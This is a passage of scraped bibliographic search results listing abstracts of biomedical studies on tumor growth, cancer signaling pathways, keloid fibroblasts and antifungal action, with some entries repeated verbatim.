V.; Ware, Joy L.; Bissell, Mina J.; Zehner, Zendra E. 2009-07-27 Prostate epithelial cells grown embedded in laminin-rich extracellular matrix (lrECM) undergo morphological changes that closely resemble their architecture in vivo. In this study, growth characteristics of three human prostate epithelial sublines derived from the same cellular lineage, but displaying different tumorigenic and metastatic properties in vivo, were assessed in three-dimensional (3D) lrECM gels. M12, a highly tumorigenic and metastatic subline, was derived from the parental prostate epithelial P69 cell line by selection in nude mice and found to contain a deletion of 19p-q13.1. The stable reintroduction of an intact human chromosome 19 into M12 resulted in a poorly tumorigenic subline, designated F6. When embedded in lrECM gels, the nontumorigenic P69 line produced acini with clearly defined lumena. Immunostaining with antibodies to {beta}-catenin, E-cadherin or {alpha}6-, {beta}4- and {beta}1-integrins showed polarization typical of glandular epithelium. In contrast, the metastatic M12 subline produced highly disorganized cells with no evidence of polarization. The F6 subline reverted to acini-like structures exhibiting basal polarity marked with integrins. Reducing either vimentin levels via siRNA interference or {beta}1-integrin expression by the addition of the blocking antibody, AIIB2, reorganized the M12 subline into forming polarized acini. The loss of vimentin significantly reduced M12-Vim tumor growth when assessed by subcutaneous injection in athymic mice. Thus, tumorigenicity in vivo correlated with disorganized growth in 3D lrECM gels. These studies suggest that the levels of vimentin and {beta}1-integrin play a key role in the homeostasis of the normal acini in prostate and that their dysregulation may lead to tumorigenesis. 16. Skeletons in the p53 tumor suppressor closet: genetic evidence that p53 blocks bone differentiation and development OpenAIRE Zambetti, Gerard P; Horwitz, Edwin M.; Schipani, Ernestina 2006-01-01 A series of in vitro tissue culture studies indicated that the p53 tumor suppressor promotes cellular differentiation, which could explain its role in preventing cancer. Quite surprisingly, however, two new in vivo studies (Lengner et al., 2006; Wang et al., 2006) provide genetic evidence that p53 blocks osteoblast differentiation and bone development. These interesting results and their biological and clinical implications are the focus of this comment. 17. Impact of APE1/Ref-1 redox inhibition on pancreatic tumor growth. Science.gov (United States) Fishel, Melissa L; Jiang, Yanlin; Rajeshkumar, N V; Scandura, Glenda; Sinn, Anthony L; He, Ying; Shen, Changyu; Jones, David R; Pollok, Karen E; Ivan, Mircea; Maitra, Anirban; Kelley, Mark R 2011-09-01 Pancreatic cancer is especially a deadly form of cancer with a survival rate less than 2%. Pancreatic cancers respond poorly to existing chemotherapeutic agents and radiation, and progress for the treatment of pancreatic cancer remains elusive. To address this unmet medical need, a better understanding of critical pathways and molecular mechanisms involved in pancreatic tumor development, progression, and resistance to traditional therapy is therefore critical. Reduction-oxidation (redox) signaling systems are emerging as important targets in pancreatic cancer. AP endonuclease1/Redox effector factor 1 (APE1/Ref-1) is upregulated in human pancreatic cancer cells and modulation of its redox activity blocks the proliferation and migration of pancreatic cancer cells and pancreatic cancer-associated endothelial cells in vitro. Modulation of APE1/Ref-1 using a specific inhibitor of APE1/Ref-1's redox function, E3330, leads to a decrease in transcription factor activity for NFκB, AP-1, and HIF1α in vitro. This study aims to further establish the redox signaling protein APE1/Ref-1 as a molecular target in pancreatic cancer. Here, we show that inhibition of APE1/Ref-1 via E3330 results in tumor growth inhibition in cell lines and pancreatic cancer xenograft models in mice. Pharmacokinetic studies also show that E3330 attains more than10 μmol/L blood concentrations and is detectable in tumor xenografts. Through inhibition of APE1/Ref-1, the activity of NFκB, AP-1, and HIF1α that are key transcriptional regulators involved in survival, invasion, and metastasis is blocked. These data indicate that E3330, inhibitor of APE1/Ref-1, has potential in pancreatic cancer and clinical investigation of APE1/Ref-1 molecular target is warranted. 18. Role of constitutive behavior and tumor-host mechanical interactions in the state of stress and growth of solid tumors. Directory of Open Access Journals (Sweden) Chrysovalantis Voutouri Full Text Available Mechanical forces play a crucial role in tumor patho-physiology. Compression of cancer cells inhibits their proliferation rate, induces apoptosis and enhances their invasive and metastatic potential. Additionally, compression of intratumor blood vessels reduces the supply of oxygen, nutrients and drugs, affecting tumor progression and treatment. Despite the great importance of the mechanical microenvironment to the pathology of cancer, there are limited studies for the constitutive modeling and the mechanical properties of tumors and on how these parameters affect tumor growth. Also, the contribution of the host tissue to the growth and state of stress of the tumor remains unclear. To this end, we performed unconfined compression experiments in two tumor types and found that the experimental stress-strain response is better fitted to an exponential constitutive equation compared to the widely used neo-Hookean and Blatz-Ko models. Subsequently, we incorporated the constitutive equations along with the corresponding values of the mechanical properties - calculated by the fit - to a biomechanical model of tumor growth. Interestingly, we found that the evolution of stress and the growth rate of the tumor are independent from the selection of the constitutive equation, but depend strongly on the mechanical interactions with the surrounding host tissue. Particularly, model predictions - in agreement with experimental studies - suggest that the stiffness of solid tumors should exceed a critical value compared with that of the surrounding tissue in order to be able to displace the tissue and grow in size. With the use of the model, we estimated this critical value to be on the order of 1.5. Our results suggest that the direct effect of solid stress on tumor growth involves not only the inhibitory effect of stress on cancer cell proliferation and the induction of apoptosis, but also the resistance of the surrounding tissue to tumor expansion. 19. Reduced growth factor requirement of keloid-derived fibroblasts may account for tumor growth Energy Technology Data Exchange (ETDEWEB) Russell, S.B.; Trupin, K.M.; Rodriguez-Eaton, S.; Russell, J.D.; Trupin, J.S. 1988-01-01 Keloids are benign dermal tumors that form during an abnormal wound-healing process is genetically susceptible individuals. Although growth of normal and keloid cells did not differ in medium containing 10% (vol/vol) fetal bovine serum, keloid culture grew to significantly higher densities than normal cells in medium containing 5% (vol/vol) fetal bovine serum, keloid cultures grew to significantly higher densities than normal cells in medium containing 5% (vol/vol) plasma or 1% fetal bovine serum. Conditioned medium from keloid cultures did not stimulate growth of normal cells in plasma nor did it contain detectable platelet-derived growth factor or epidermal growth factor. Keloid fibroblasts responded differently than normal adult fibroblasts to transforming growth factor ..beta... Whereas transforming growth factor ..beta.. reduced growth stimulation by epidermal growth factor in cells from normal adult skin or scars, it enhanced the activity of epidermal growth factor in cells from normal adult skin or scars, it enhanced the activity of epidermal growth factor in cells from keloids. Normal and keloid fibroblasts also responded differently to hydrocortisone: growth was stimulated in normal adult cells and unaffected or inhibited in keloid cells. Fetal fibroblasts resembled keloid cells in their ability to grow in plasma and in their response to hydrocortisone. The ability of keloid fibroblasts to grow to higher cell densities in low-serum medium than cells from normal adult skin or from normal early or mature scars suggests that a reduced dependence on serum growth factors may account for their prolonged growth in vivo. Similarities between keloid and fetal cells suggest that keloids may result from the untimely expression of growth-control mechanism that is developmentally regulated. 20. Butylated Hydroxyanisole Blocks the Occurrence of Tumor Associated Macrophages in Tobacco Smoke Carcinogen-Induced Lung Tumorigenesis Energy Technology Data Exchange (ETDEWEB) Zhang, Yan; Choksi, Swati; Liu, Zheng-Gang, E-mail: zgliu@helix.nih.gov [Cell and Cancer Biology Branch, Center for Cancer Research, National Cancer Institute, National Institutes of Health, Bethesda, MD 20892 (United States) 2013-12-04 Tumor-associated macrophages (TAMs) promote tumorigenesis because of their proangiogenic and immune-suppressive functions. Here, we report that butylated hydroxyanisole (BHA) blocks occurrence of tumor associated macrophages (TAMs) in tobacco smoke carcinogen-induced lung tumorigenesis. Continuous administration of butylated hydroxyanisole (BHA), a ROS inhibitor, before or after NNK treatment significantly blocked tumor development, although less effectively when BHA is administered after NNK treatment. Strikingly, BHA abolished the occurrence of F4/80{sup +} macrophages with similar efficiency no matter whether it was administered before or after NNK treatment. Detection of cells from bronchioalveolar lavage fluid (BALF) confirmed that BHA markedly inhibited the accumulation of macrophages while slightly reducing the number of lymphocytes that were induced by NNK. Immunohistological staining showed that BHA specifically abolished the occurrence of CD206{sup +} TAMs when it was administered before or after NNK treatment. Western blot analysis of TAMs markers, arginase I and Ym-1, showed that BHA blocked NNK-induced TAMs accumulation. Our study clearly demonstrated that inhibiting the occurrence of TAMs by BHA contributes to the inhibition of tobacco smoke carcinogen-induced tumorigenesis, suggesting ROS inhibitors may serve as a therapeutic target for treating smoke-induced lung cancer. 1. Cytotoxic T lymphocyte-dependent tumor growth inhibition by a vascular endothelial growth factor-superantigen conjugate Energy Technology Data Exchange (ETDEWEB) Sun, Qingwen [Shanghai Chest Hospital, Shanghai 200433 (China); State Key Laboratory of Genetic Engineering, Fudan University, Shanghai 200433 (China); Jiang, Songmin [State Key Laboratory of Genetic Engineering, Fudan University, Shanghai 200433 (China); Han, Baohui [Shanghai Chest Hospital, Shanghai 200433 (China); Sun, Tongwen [Wuhan Junyu Innovation Pharmaceuticals, Inc., Wuhan 430079 (China); Li, Zhengnan; Zhao, Lina; Gao, Qiang [College of Biotechnology, Tianjin University of Science and Technology, Tianjin 300457 (China); Sun, Jialin, E-mail: jialin_sun@126.com [Wuhan Junyu Innovation Pharmaceuticals, Inc., Wuhan 430079 (China) 2012-11-02 Highlights: Black-Right-Pointing-Pointer We construct and purify a fusion protein VEGF-SEA. Black-Right-Pointing-Pointer VEGF-SEA strongly repressed the growth of murine solid sarcoma 180 (S180) tumors. Black-Right-Pointing-Pointer T cells driven by VEGF-SEA were accumulated around tumor cells bearing VEGFR by mice image model. Black-Right-Pointing-Pointer VEGF-SEA can serve as a tumor targeting agent and sequester CTLs into the tumor site. Black-Right-Pointing-Pointer The induced CTLs could release the cytokines, perforins and granzyme B to kill the tumor cells. -- Abstract: T cells are major lymphocytes in the blood and passengers across the tumor vasculature. If these T cells are retained in the tumor site, a therapeutic potential will be gained by turning them into tumor-reactive cytotoxic T lymphocytes (CTLs). A fusion protein composed of human vascular endothelial growth factor (VEGF) and staphylococcal enterotoxin A (SEA) with a D227A mutation strongly repressed the growth of murine solid sarcoma 180 (S180) tumors (control versus VEGF-SEA treated with 15 {mu}g, mean tumor weight: 1.128 g versus 0.252 g, difference = 0.876 g). CD4{sup +} and CD8{sup +} T cells driven by VEGF-SEA were accumulated around VEGFR expressing tumor cells and the induced CTLs could release the tumoricidal cytokines, such as interferon-gamma (IFN-gamma) and tumor necrosis factor-alpha (TNF-alpha). Meanwhile, intratumoral CTLs secreted cytolytic pore-forming perforin and granzyme B proteins around tumor cells, leading to the death of tumor cells. The labeled fusion proteins were gradually targeted to the tumor site in an imaging mice model. These results show that VEGF-SEA can serve as a tumor targeting agent and sequester active infiltrating CTLs into the tumor site to kill tumor cells, and could therefore be a potential therapeutical drug for a variety of cancers. 2. Evaluation of the therapeutic efficacy of a VEGFR2-blocking antibody using sodium-iodide symporter molecular imaging in a tumor xenograft model Energy Technology Data Exchange (ETDEWEB) Cheong, Su-Jin; Lee, Chang-Moon; Kim, Eun-Mi [Department of Nuclear Medicine, Chonbuk National University Medical School, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Research Institute of Clinical Medicine, Chonbuk National University Medical School, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Cyclotron Research Center, Chonbuk National University Hospital, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Uhm, Tai-Boong [Faculty of Biological Science, Chonbuk National University, Jeonju-si, jeonbuk 561-756 (Korea, Republic of); Jeong, Hwan-Jeong, E-mail: jayjeong@chonbuk.ac.k [Department of Nuclear Medicine, Chonbuk National University Medical School, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Research Institute of Clinical Medicine, Chonbuk National University Medical School, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Cyclotron Research Center, Chonbuk National University Hospital, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Kim, Dong Wook; Lim, Seok Tae; Sohn, Myung-Hee [Department of Nuclear Medicine, Chonbuk National University Medical School, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Research Institute of Clinical Medicine, Chonbuk National University Medical School, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of); Cyclotron Research Center, Chonbuk National University Hospital, Jeonju-si, Jeonbuk 561-712 (Korea, Republic of) 2011-01-15 Purpose: Vascular endothelial growth factor receptor 2-blocking antibody (DC101) has inhibitory effects on tumor growth and angiogenesis in vivo. The human sodium/iodide symporter (hNIS) gene has been shown to be a useful molecular imaging reporter gene. Here, we investigated the evaluation of therapeutic efficacy by molecular imaging in reporter gene transfected tumor xenografts using a gamma imaging system. Methods: The hNIS gene was transfected into MDA-MB-231 cells using Lipofectamine. The correlation between the number of MDA-MB-231-hNIS cells and the uptake of {sup 99m}Tc-pertechnetate or {sup 125}I was investigated in vitro by gamma imaging and counting. MDA-MB-231-hNIS cells were injected subcutaneously into mice. When the tumor volume reached 180-200 mm{sup 3}, we randomly assigned five animals to each of three groups representing different tumor therapies; no DC101 (control), 100 {mu}g, or 150 {mu}g DC101/mouse. One week and 2 weeks after the first injection of DC101, gamma imaging was performed. Mice were sacrificed 2 weeks after the first injection of DC101. The tumor tissues were used for reverse transcriptase-polymerase chain reaction (RT-PCR) and CD31 staining. Results: Uptake of {sup 125}I and {sup 99m}Tc-pertechnetate into MDA-MB-231-hNIS cells in vitro showed correlation with the number of cells. In DC101 treatment groups, the mean tumor volume was smaller than that of the control mice. Furthermore, tumor uptake of {sup 125}I was lower than in the controls. The CD31 staining and RT-PCR assay results showed that vessel formation and expression of the hNIS gene were significantly reduced in the tumor tissues of treatment groups. Conclusion: This study demonstrated the power of molecular imaging using a gamma imaging system for evaluating the therapeutic efficacy of an antitumor treatment. Molecular imaging systems may be useful in evaluation and development of effective diagnostic and/or therapeutic antibodies for specific target molecules. 3. EXPRESSION OF GROWTH-FACTORS AND GROWTH-FACTOR RECEPTORS IN NORMAL AND TUMOROUS HUMAN THYROID TISSUES NARCIS (Netherlands) van der Laan, B.F.A.M.; FREEMAN, JL; ASA, SL 1995-01-01 A number of growth factors have been implicated as stimuli of thyroid cell proliferation; overexpression of these growth factors and/or their receptors may play a role in the growth of thyroid tumors. To determine if immunohistochemical detection of growth factors and/or their receptors correlates w 4. Berberine suppresses tumorigenicity and growth of nasopharyngeal carcinoma cells by inhibiting STAT3 activation induced by tumor associated fibroblasts International Nuclear Information System (INIS) Cortidis rhizoma (Huanglian) and its major therapeutic component, berberine, have drawn extensive attention in recent years for their anti-cancer properties. Growth inhibitory effects of berberine on multiple types of human cancer cells have been reported. Berberine inhibits invasion, induces cell cycle arrest and apoptosis in human cancer cells. The anti-inflammatory property of berberine, involving inhibition of Signal Transducer and Activator of Transcription 3 (STAT3) activation, has also been documented. In this study, we have examined the effects of berberine on tumorigenicity and growth of nasopharyngeal carcinoma (NPC) cells and their relationship to STAT3 signaling using both in vivo and in vitro models. Berberine effectively inhibited the tumorigenicity and growth of an EBV-positive NPC cell line (C666-1) in athymic nude mice. Inhibition of tumorigenic growth of NPC cells in vivo was correlated with effective inhibition of STAT3 activation in NPC cells inside the tumor xenografts grown in nude mice. In vitro, berberine inhibited both constitutive and IL-6-induced STAT3 activation in NPC cells. Inhibition of STAT3 activation by berberine induced growth inhibition and apoptotic response in NPC cells. Tumor-associated fibroblasts were found to secret IL-6 and the conditioned medium harvested from the fibroblasts also induced STAT3 activation in NPC cells. Furthermore, STAT3 activation by conditioned medium of tumor-associated fibroblasts could be blocked by berberine or antibodies against IL-6 and IL-6R. Our observation that berberine effectively inhibited activation of STAT3 induced by tumor-associated fibroblasts suggests a role of berberine in modulating the effects of tumor stroma on the growth of NPC cells. The effective inhibition of STAT3 activation in NPC cells by berberine supports its potential use in the treatment of NPC 5. CSR1 suppresses tumor growth and metastasis of prostate cancer. Science.gov (United States) Yu, Guoying; Tseng, George C; Yu, Yan Ping; Gavel, Tim; Nelson, Joel; Wells, Alan; Michalopoulos, George; Kokkinakis, Demetrius; Luo, Jian-Hua 2006-02-01 Prostate cancer is frequent among men over 45 years of age, but it generally only becomes lethal with metastasis. In this study, we identified a gene called cellular stress response 1 (CSR1) that was frequently down-regulated and methylated in prostate cancer samples. Survival analysis indicated that methylation of the CSR1 promoter, and to a lesser extent down-regulation of CSR1 protein expression, was associated with a high rate of prostate cancer metastasis. Forced expression of CSR1 in prostate cancer cell lines DU145 and PC3 resulted in a two- to threefold decrease in colony formation and a 10-fold reduction in anchorage-independent growth. PC3 cells stably expressing CSR1 had an average threefold decrease in their ability to invade in vitro. Expression of CSR1 in PC3 cell xenografts produced a dramatic reduction (>8-fold) in tumor size, rate of invasion (0 versus 31%), and mortality (13 versus 100%). The present findings suggest that CSR1 is a potent tumor sup-pressor gene. PMID:16436673 6. Growth hormone and risk for cardiac tumors in Carney complex. Science.gov (United States) Bandettini, W Patricia; Karageorgiadis, Alexander S; Sinaii, Ninet; Rosing, Douglas R; Sachdev, Vandana; Schernthaner-Reiter, Marie Helene; Gourgari, Evgenia; Papadakis, Georgios Z; Keil, Meg F; Lyssikatos, Charalampos; Carney, J Aidan; Arai, Andrew E; Lodish, Maya; Stratakis, Constantine A 2016-09-01 Carney complex (CNC) is a multiple neoplasia syndrome that is caused mostly by PRKAR1A mutations. Cardiac myxomas are the leading cause of mortality in CNC patients who, in addition, often develop growth hormone (GH) excess. We studied patients with CNC, who were observed for over a period of 20 years (1995-2015) for the development of both GH excess and cardiac myxomas. GH secretion was evaluated by standard testing; dedicated cardiovascular imaging was used to detect cardiac abnormalities. Four excised cardiac myxomas were tested for the expression of insulin-like growth factor-1 (IGF-1). A total of 99 CNC patients (97 with a PRKAR1A mutation) were included in the study with a mean age of 25.8 ± 16.6 years at presentation. Over an observed mean follow-up of 25.8 years, 60% of patients with GH excess (n = 46) developed a cardiac myxoma compared with only 36% of those without GH excess (n = 54) (P = 0.016). Overall, patients with GH excess were also more likely to have a tumor vs those with normal GH secretion (OR: 2.78, 95% CI: 1.23-6.29; P = 0.014). IGF-1 mRNA and protein were higher in CNC myxomas than in normal heart tissue. We conclude that the development of cardiac myxomas in CNC may be associated with increased GH secretion, in a manner analogous to the association between fibrous dysplasia and GH excess in McCune-Albright syndrome, a condition similar to CNC. We speculate that treatment of GH excess in patients with CNC may reduce the likelihood of cardiac myxoma formation and/or recurrence of this tumor. 7. Growth hormone and risk for cardiac tumors in Carney complex. Science.gov (United States) Bandettini, W Patricia; Karageorgiadis, Alexander S; Sinaii, Ninet; Rosing, Douglas R; Sachdev, Vandana; Schernthaner-Reiter, Marie Helene; Gourgari, Evgenia; Papadakis, Georgios Z; Keil, Meg F; Lyssikatos, Charalampos; Carney, J Aidan; Arai, Andrew E; Lodish, Maya; Stratakis, Constantine A 2016-09-01 Carney complex (CNC) is a multiple neoplasia syndrome that is caused mostly by PRKAR1A mutations. Cardiac myxomas are the leading cause of mortality in CNC patients who, in addition, often develop growth hormone (GH) excess. We studied patients with CNC, who were observed for over a period of 20 years (1995-2015) for the development of both GH excess and cardiac myxomas. GH secretion was evaluated by standard testing; dedicated cardiovascular imaging was used to detect cardiac abnormalities. Four excised cardiac myxomas were tested for the expression of insulin-like growth factor-1 (IGF-1). A total of 99 CNC patients (97 with a PRKAR1A mutation) were included in the study with a mean age of 25.8 ± 16.6 years at presentation. Over an observed mean follow-up of 25.8 years, 60% of patients with GH excess (n = 46) developed a cardiac myxoma compared with only 36% of those without GH excess (n = 54) (P = 0.016). Overall, patients with GH excess were also more likely to have a tumor vs those with normal GH secretion (OR: 2.78, 95% CI: 1.23-6.29; P = 0.014). IGF-1 mRNA and protein were higher in CNC myxomas than in normal heart tissue. We conclude that the development of cardiac myxomas in CNC may be associated with increased GH secretion, in a manner analogous to the association between fibrous dysplasia and GH excess in McCune-Albright syndrome, a condition similar to CNC. We speculate that treatment of GH excess in patients with CNC may reduce the likelihood of cardiac myxoma formation and/or recurrence of this tumor. PMID:27535175 8. Stochastic resonance in the growth of a tumor induced by correlated noises Institute of Scientific and Technical Information of China (English) ZHONG Weirong; SHAO Yuanzhi; HE Zhenhui 2005-01-01 Multiplicative noise is found to divide the growth law of tumors into two parts in a logistic model, which is driven by additive and multiplicative noises simultaneously. The Fokker-Planck equation was also derived to explain the fact that the influence of the intensity of multiplicative noise on the growth of tumor cells has a stochastic resonance-like characteristic. An appropriate intensity of multiplicative noise is benefit to the growth of the tumor cells. The correlation between two sorts of noises weakens the stochastic resonance-like characteristic. Homologous noises promote the growth of the tumor cells. 9. Modulation of cell cycle regulatory protein expression and suppression of tumor growth by mimosine in nude mice. Science.gov (United States) Chang, H C; Weng, C F; Yen, M H; Chuang, L Y; Hung, W C 2000-10-01 Our previous results demonstrated that the plant amino acid mimosine blocked cell cycle progression and suppressed proliferation of human lung cancer cells in vitro by multiple mechanisms. Inhibition of cyclin D1 expression or induction of cyclin-dependent kinase inhibitor p21WAF1 expression was found in mimosine-treated lung cancer cells. However, whether mimosine may modulate the expression of these cell cycle regulatory proteins and suppress tumor growth in vivo is unknown. In this study, we examined the anti-cancer effect of mimosine on human H226 lung cancer cells grown in nude mice. Our results demonstrated that mimosine inhibits cyclin D1 and induces p21WAF1 expression in vivo. Furthermore, results of TUNEL analysis indicated that mimosine may induce apoptosis to suppress tumor growth in nude mice. Collectively, these results suggest that mimosine exerts anti-cancer effect in vivo and might be useful in the therapy of lung cancer. PMID:10995875 10. Anti-tumor activity of the TGF-β receptor kinase inhibitor galunisertib (LY2157299 monohydrate) in patient-derived tumor xenografts OpenAIRE Maier, Armin; Peille, Anne-Lise; Vuaroqueaux, Vincent; Lahn, Michael 2015-01-01 Purpose The transforming growth factor-beta (TGF-β) signaling pathway is known to play a critical role in promoting tumor growth. Consequently, blocking this pathway has been found to inhibit tumor growth. In order to achieve an optimal anti-tumor effect, however, it remains to be established whether blocking the TGF-β signaling pathway alone is sufficient, or whether the tumor microenvironment plays an additional, possibly synergistic, role. Methods To investigate the relevance of blocking T... 11. Curdlan blocks the immune suppression by myeloid-derived suppressor cells and reduces tumor burden. Science.gov (United States) Rui, Ke; Tian, Jie; Tang, Xinyi; Ma, Jie; Xu, Ping; Tian, Xinyu; Wang, Yungang; Xu, Huaxi; Lu, Liwei; Wang, Shengjun 2016-08-01 Tumor-elicited immunosuppression is one of the essential mechanisms for tumor evasion of immune surveillance. It is widely thought to be one of the main reasons for the failure of tumor immunotherapy. Myeloid-derived suppressor cells (MDSCs) comprise a heterogeneous population of cells that play an important role in tumor-induced immunosuppression. These cells expand in tumor-bearing individuals and suppress T cell responses via various mechanisms. Curdlan, the linear (1 → 3)-β-glucan from Agrobacterium, has been applied in the food industry and other sectors. The anti-tumor property of curdlan has been recognized for a long time although the underlying mechanism still needs to be explored. In this study, we investigated the effect of curdlan on MDSCs and found that curdlan could promote MDSCs to differentiate into a more mature state and then significantly reduce the suppressive function of MDSCs, decrease the MDSCs in vivo and down-regulate the suppression in tumor-bearing mice, thus leading to enhanced anti-tumor immune responses. We, therefore, increase the understanding of further mechanisms by which curdlan achieves anti-tumor effects. PMID:26832917 12. A New Cell Block Method for Multiple Immunohistochemical Analysis of Circulating Tumor Cells in Patients with Liver Cancer Science.gov (United States) Nam, Soo Jeong; Yeo, Hyun Yang; Chang, Hee Jin; Kim, Bo Hyun; Hong, Eun Kyung; Park, Joong-Won 2016-01-01 Purpose We developed a new method of detecting circulating tumor cells (CTCs) in liver cancer patients by constructing cell blocks from peripheral blood cells, including CTCs, followed by multiple immunohistochemical analysis. Materials and Methods Cell blockswere constructed from the nucleated cell pellets of peripheral blood afterremoval of red blood cells. The blood cell blocks were obtained from 29 patients with liver cancer, and from healthy donor blood spikedwith seven cell lines. The cell blocks and corresponding tumor tissues were immunostained with antibodies to seven markers: cytokeratin (CK), epithelial cell adhesion molecule (EpCAM), epithelial membrane antigen (EMA), CK18, α-fetoprotein (AFP), Glypican 3, and HepPar1. Results The average recovery rate of spiked SW620 cells from blood cell blocks was 91%. CTCs were detected in 14 out of 29 patients (48.3%); 11/23 hepatocellular carcinomas (HCC), 1/2 cholangiocarcinomas (CC), 1/1 combined HCC-CC, and 1/3 metastatic cancers. CTCs from 14 patients were positive for EpCAM (57.1%), EMA (42.9%), AFP (21.4%), CK18 (14.3%), Gypican3 and CK (7.1%, each), and HepPar1 (0%). Patients with HCC expressed EpCAM, EMA, CK18, and AFP in tissue and/or CTCs, whereas CK, HepPar1, and Glypican3 were expressed only in tissue. Only EMA was significantly associated with the expressions in CTC and tissue. CTC detection was associated with higher T stage and portal vein invasion in HCC patients. Conclusion This cell block method allows cytologic detection and multiple immunohistochemical analysis of CTCs. Our results show that tissue biomarkers of HCC may not be useful for the detection of CTC. EpCAM could be a candidate marker for CTCs in patients with HCC. PMID:27034142 13. HIF-1α inhibition blocks the cross talk between multiple myeloma plasma cells and tumor microenvironment International Nuclear Information System (INIS) Multiple myeloma (MM) is a malignant disorder of post-germinal center B cells, characterized by the clonal proliferation of malignant plasma cells (PCs) within the bone marrow (BM). The reciprocal and complex interactions that take place between the different compartments of BM and the MM cells result in tumor growth, angiogenesis, bone disease, and drug resistance. Given the importance of the BM microenvironment in MM pathogenesis, we investigated the possible involvement of Hypoxia-Inducible transcription Factor-1 alpha (HIF-1α) in the PCs-bone marrow stromal cells interplay. To test this hypothesis, we used EZN-2968, a 3rd generation antisense oligonucleotide against HIF-1α, to inhibit HIF-1α functions. Herein, we provide evidence that the interaction between MM cells and BM stromal cells is drastically reduced upon HIF-1α down-modulation. Notably, we showed that upon exposure to HIF-1α inhibitor, neither the incubation with IL-6 nor the co-culture with BM stromal cells were able to revert the anti-proliferative effect induced by EZN-2968. Moreover, we observed a down-modulation of cytokine-induced signaling cascades and a reduction of MM cells adhesion capability to the extracellular matrix proteins in EZN-2968-treated samples. Taken together, these results strongly support the concept that HIF-1α plays a critical role in the interactions between bone BM cells and PCs in Multiple Myeloma. - Highlights: • HIF-1α inhibition induces a mild apoptotic cell death. • Down-modulation of cytokine-induced signaling cascades upon HIF-1α inhibition. • Reduced interaction between MM cells and BMSCs upon HIF-1α down-modulation. • Reduced PCs adhesion to the extracellular matrix protein induced by EZN-2968. • HIF-1α inhibition may be an attractive therapeutic strategy for Multiple Myeloma 14. HIF-1α inhibition blocks the cross talk between multiple myeloma plasma cells and tumor microenvironment Energy Technology Data Exchange (ETDEWEB) Borsi, Enrica, E-mail: enrica.borsi2@unibo.it [Department of Experimental Diagnostic and Specialty Medicine (DIMES), “L. and A. Seràgnoli”, Bologna University School of Medicine, S. Orsola' s University Hospital (Italy); Perrone, Giulia [Fondazione IRCCS Istituto Nazionale dei Tumori, Hematology Department, Via Venezian 1, 20133 Milano (Italy); Terragna, Carolina; Martello, Marina; Zamagni, Elena; Tacchetti, Paola; Pantani, Lucia; Brioli, Annamaria; Dico, Angela Flores; Zannetti, Beatrice Anna; Rocchi, Serena; Cavo, Michele [Department of Experimental Diagnostic and Specialty Medicine (DIMES), “L. and A. Seràgnoli”, Bologna University School of Medicine, S. Orsola' s University Hospital (Italy) 2014-11-01 Multiple myeloma (MM) is a malignant disorder of post-germinal center B cells, characterized by the clonal proliferation of malignant plasma cells (PCs) within the bone marrow (BM). The reciprocal and complex interactions that take place between the different compartments of BM and the MM cells result in tumor growth, angiogenesis, bone disease, and drug resistance. Given the importance of the BM microenvironment in MM pathogenesis, we investigated the possible involvement of Hypoxia-Inducible transcription Factor-1 alpha (HIF-1α) in the PCs-bone marrow stromal cells interplay. To test this hypothesis, we used EZN-2968, a 3rd generation antisense oligonucleotide against HIF-1α, to inhibit HIF-1α functions. Herein, we provide evidence that the interaction between MM cells and BM stromal cells is drastically reduced upon HIF-1α down-modulation. Notably, we showed that upon exposure to HIF-1α inhibitor, neither the incubation with IL-6 nor the co-culture with BM stromal cells were able to revert the anti-proliferative effect induced by EZN-2968. Moreover, we observed a down-modulation of cytokine-induced signaling cascades and a reduction of MM cells adhesion capability to the extracellular matrix proteins in EZN-2968-treated samples. Taken together, these results strongly support the concept that HIF-1α plays a critical role in the interactions between bone BM cells and PCs in Multiple Myeloma. - Highlights: • HIF-1α inhibition induces a mild apoptotic cell death. • Down-modulation of cytokine-induced signaling cascades upon HIF-1α inhibition. • Reduced interaction between MM cells and BMSCs upon HIF-1α down-modulation. • Reduced PCs adhesion to the extracellular matrix protein induced by EZN-2968. • HIF-1α inhibition may be an attractive therapeutic strategy for Multiple Myeloma. 15. Natamycin blocks fungal growth by binding specifically to ergosterol without permeabilizing the membrane. Science.gov (United States) te Welscher, Yvonne M; ten Napel, Hendrik H; Balagué, Miriam Masià; Souza, Cleiton M; Riezman, Howard; de Kruijff, Ben; Breukink, Eefjan 2008-03-01 Natamycin is a polyene antibiotic that is commonly used as an antifungal agent because of its broad spectrum of activity and the lack of development of resistance. Other polyene antibiotics, like nystatin and filipin are known to interact with sterols, with some specificity for ergosterol thereby causing leakage of essential components and cell death. The mode of action of natamycin is unknown and is investigated in this study using different in vitro and in vivo approaches. Isothermal titration calorimetry and direct binding studies revealed that natamycin binds specifically to ergosterol present in model membranes. Yeast sterol biosynthetic mutants revealed the importance of the double bonds in the B-ring of ergosterol for the natamycin-ergosterol interaction and the consecutive block of fungal growth. Surprisingly, in strong contrast to nystatin and filipin, natamycin did not change the permeability of the yeast plasma membrane under conditions that growth was blocked. Also, in ergosterol containing model membranes, natamycin did not cause a change in bilayer permeability. This demonstrates that natamycin acts via a novel mode of action and blocks fungal growth by binding specifically to ergosterol. PMID:18165687 16. Prostacyclin Inhibits Non-Small Cell Lung Cancer Growth by a Frizzled 9-Dependent Pathway That Is Blocked by Secreted Frizzled-Related Protein 1 Directory of Open Access Journals (Sweden) Meredith A. Tennis 2010-03-01 Full Text Available The goal of this study was to assess the ability of iloprost, an orally active prostacyclin analog, to inhibit transformed growth of human non-small cell lung cancer (NSCLC and to define the mechanism of iloprost's tumor suppressive effects. In a panel of NSCLC cell lines, the ability of iloprost to inhibit transformed cell growth was not correlated with the expression of the cell surface receptor for prostacyclin, but instead was correlated with the presence of Frizzled 9 (Fzd 9 and the activation of peroxisome proliferator-activated receptor-γ (PPARγ. Silencing of Fzd 9 blocked PPARγ activation by iloprost, and expression of Fzd 9 in cells lacking the protein resulted in iloprost's activation of PPARγ and inhibition of transformed growth. Interestingly, soluble Frizzled-related protein-1, a well-known inhibitor of Wnt/Fzd signaling, also blocked the effects of iloprost and Fzd 9. Moreover, mice treated with iloprost had reduced lung tumors and increased Fzd 9 expression. These studies define a novel paradigm, linking the 